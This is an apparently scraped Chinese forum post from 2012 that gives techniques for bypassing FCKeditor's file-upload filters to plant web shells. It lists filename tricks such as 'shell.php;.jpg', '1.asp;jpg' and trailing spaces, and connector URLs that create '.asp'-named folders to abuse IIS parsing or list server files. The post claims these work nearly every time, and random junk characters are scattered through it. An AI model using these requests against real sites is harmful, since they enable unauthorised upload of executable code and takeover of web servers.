很多时候上传的文件例如：shell.php.rar 或 shell.php;.jpg 会变为 shell_php;.jpg 这是新版 FCK 的变化，试试上传 1.asp;jpg
" }5 F& T. R7 ` F+ e
2 j! a# W) r0 i9 \6 {提交 shell.php+空格 绕过，不过空格只支持 win 系统 *nix 是不支持的，shell.php 和 shell.php+空格 是 2 个不同的文件，未测试。
2 q% E' {( p/ |) w) p6 N$ ^9 g2 D E# [
继续上传同名文件可变为 shell.php;(1).jpg，也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
7 A5 x J7 |5 C3 @2 ~$ F8 F# A! j A/ z
突破建立文件夹：5 ?7 U! Z5 A4 J
7 Q: q" K1 _& Q! }) B9 Eeditor/FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/qing.asp&NewFolderName=x.asp
& e+ I+ U( d5 Q% a& s7 T0 }; k* M" r& _+ q8 \+ M
参数：
4 [9 [" H: s3 N! a/ ~3 O) T: o3 X% X8 E+ r; T
当前目录名：CurrentFolder=/qing.asp; R0 k2 D! m' |* V+ t2 Z
7 I q1 K t) b& \+ z/ U
新的目录名：NewFolderName=x.asp. Y/ l" T+ H' P. V0 x
3 _# ~9 n$ m2 Q& U# A& p7 t$ D
其实很简单，在目录那里写 x.asp，然后点击新建目录在弹出来的对话框中随便写……
. S: q4 u. v/ k9 [- {2 ^1 v6 S% ~. f- U% L* |6 ~
那么 x.asp 就已经建立生成了，此方法百试百灵！8 }" z( h8 k: z% Q7 {' A
- k9 B3 Z) j* x
新建文件夹参数 x.asp，基本都能搞定。
( l: l! K3 _) C) E
' Q0 H: i T( I5 [ Y$ q下面这句话是要在1.asp下建立2.asp，当不存在1.asp时会先创建，只过滤了目标目录的创建 而没有过滤不存在目录的创建
# a$ I3 w* j' J! }0 P! q% i: r V; K' s# l' _" D N
aspx/connector.aspx?Command=CreateFolder&Type=File&CurrentFolder=%2F1.asp&NewFolderName=2.asp
# _. M1 J& v0 M& H# K, ?. c$ g8 V$ K( h6 d( v- W) L
获取文件列表0 @ h+ O r3 B. M" i
aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=%2F! f, E6 n0 e p$ U
u) m1 ?5 p5 E* Z* U V" L |
发表于 2012-12-31 09:27:09
收藏
支持
反对